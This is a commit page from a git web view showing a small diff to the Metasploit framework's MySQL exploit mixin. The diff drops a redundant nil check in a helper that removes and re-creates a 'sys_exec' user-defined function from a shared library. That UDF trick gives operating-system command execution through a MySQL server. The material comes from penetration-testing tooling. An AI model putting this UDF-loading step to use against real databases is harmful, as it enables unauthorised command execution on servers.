Lnad #5334, @wchen-r7's deletes unnecessary check on mysql_drop_and_create_sys_exec

unstable
jvazquez-r7 2015-05-15 11:51:21 -05:00
commit 3c92d5365e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 3 additions and 2 deletions

View File

@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
end end
def mysql_drop_and_create_sys_exec(soname) def mysql_drop_and_create_sys_exec(soname)
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually # Just drop it. MySQL will always say "OK" anyway.
return false if res.nil? # See #5244
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'") res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil? return false if res.nil?